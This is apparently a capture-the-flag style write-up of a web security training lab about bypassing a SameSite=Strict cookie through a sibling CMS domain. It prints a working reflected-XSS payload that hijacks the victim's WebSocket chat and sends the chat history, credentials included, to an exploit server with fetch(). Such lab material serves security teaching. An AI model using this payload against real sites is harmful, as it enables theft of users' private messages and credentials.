SameSite Strict bypass via sibling domain | Practitioner
At first glance, this is pretty similar to this problem. We inspect the WebSocket history and find out that whenever we send a READY message, all the chat history on that session is returned. So that means the same payload from that problem can be applied right?
But notice that the session cookie has SameSite set to Strict, that means every attempt to hijack the WebSocket connection from an outside source will not extract any useful information, besides that same default Connected with Hal Prime message.
So naturally, we have to find another attack surface to capitalise on. But where? The only other useful functionality on the main site is the login form, which is protected by the same Strict session cookie. However, CSRF protections like tokens are not present, can we take advantage of this?

The main site has no other useful endpoints, so we have to start looking elsewhere. After digging through the site map, we should find files that have a peculiar Access-Control-Allow-Origin header. Since setting a SameSite=Strict cookie can be severely limiting (for example backend API calls), this header lists domains that are allowed to read the data from the main domain:
Here, the only domain allowed is an exposed CMS. So we access this endpoint and are greeted with another login form, with another Strict session cookie:
Let’s test this. Try inserting test and test into the two fields and see what happens:
As you can see, our invalid name attempt is reflected inside the HTML. This is a huge reflected XSS flag, but the possibility of a WAF or filters is there. Let’s try inserting a simple h1 to see what sticks:
Surprisingly, our payload is indeed reflected! We can probably assume that no block is in effect and that we can freely inject JS script inside the form.
With the CMS being allowed to fetch data from the main site, and the fact that we can inject JS freely, it’s time to craft our final payload:
<form id="xssForm" action="https://cms-<lab-id>.web-security-academy.net/login" method="POST">
<input type="hidden" name="username" value="<script>
var ws = new WebSocket('wss://<lab-id>.web-security-academy.net/chat');
ws.onopen = function() {
ws.send('READY');
};
ws.onmessage = function(event) {
fetch('https://<exploit-server>/exploit?data=' + btoa(event.data));
};
</script>">
<input type="hidden" name="password" value="test">
</form>
<script>
document.getElementById('xssForm').submit();
</script>
This is the same as the last problem, this time the CMS will do our bidding and fetch all the juicy chat history from the victim, all while still adhering to the SameSite=Strict rule.
After sending the payload to our victim, the log will be updated with the full chat history of the victim, credentials included:

This goes to show how we should manage carefully every surface, whether it’s frontend or backend, visible or not visible to normal users.